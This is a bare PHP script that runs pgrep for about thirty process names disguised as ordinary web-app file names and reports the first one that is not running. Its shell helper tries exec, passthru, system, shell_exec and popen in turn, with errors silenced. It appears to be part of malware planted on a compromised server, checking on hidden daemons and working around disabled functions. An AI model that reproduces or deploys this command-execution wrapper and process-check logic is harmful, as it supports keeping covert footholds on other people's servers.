<?php   $files = ['testpaging','banners.bak','listca_test','Proprietary','formhiddentoken','extraField','notifications','modify_defences','banner_monthly','adminlogin','stats_chart','referral_asign','merge.lib','polish_mimes','usercp_avatar','authenticate','setting.ini','config.buy','agenda23','thinbasic','frames_pm.js','jpgraph_stock','cma_m_closed','classmailer','image_processor','modulesadmin','ads_request','magics.inc','senduseremail','extfilter']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }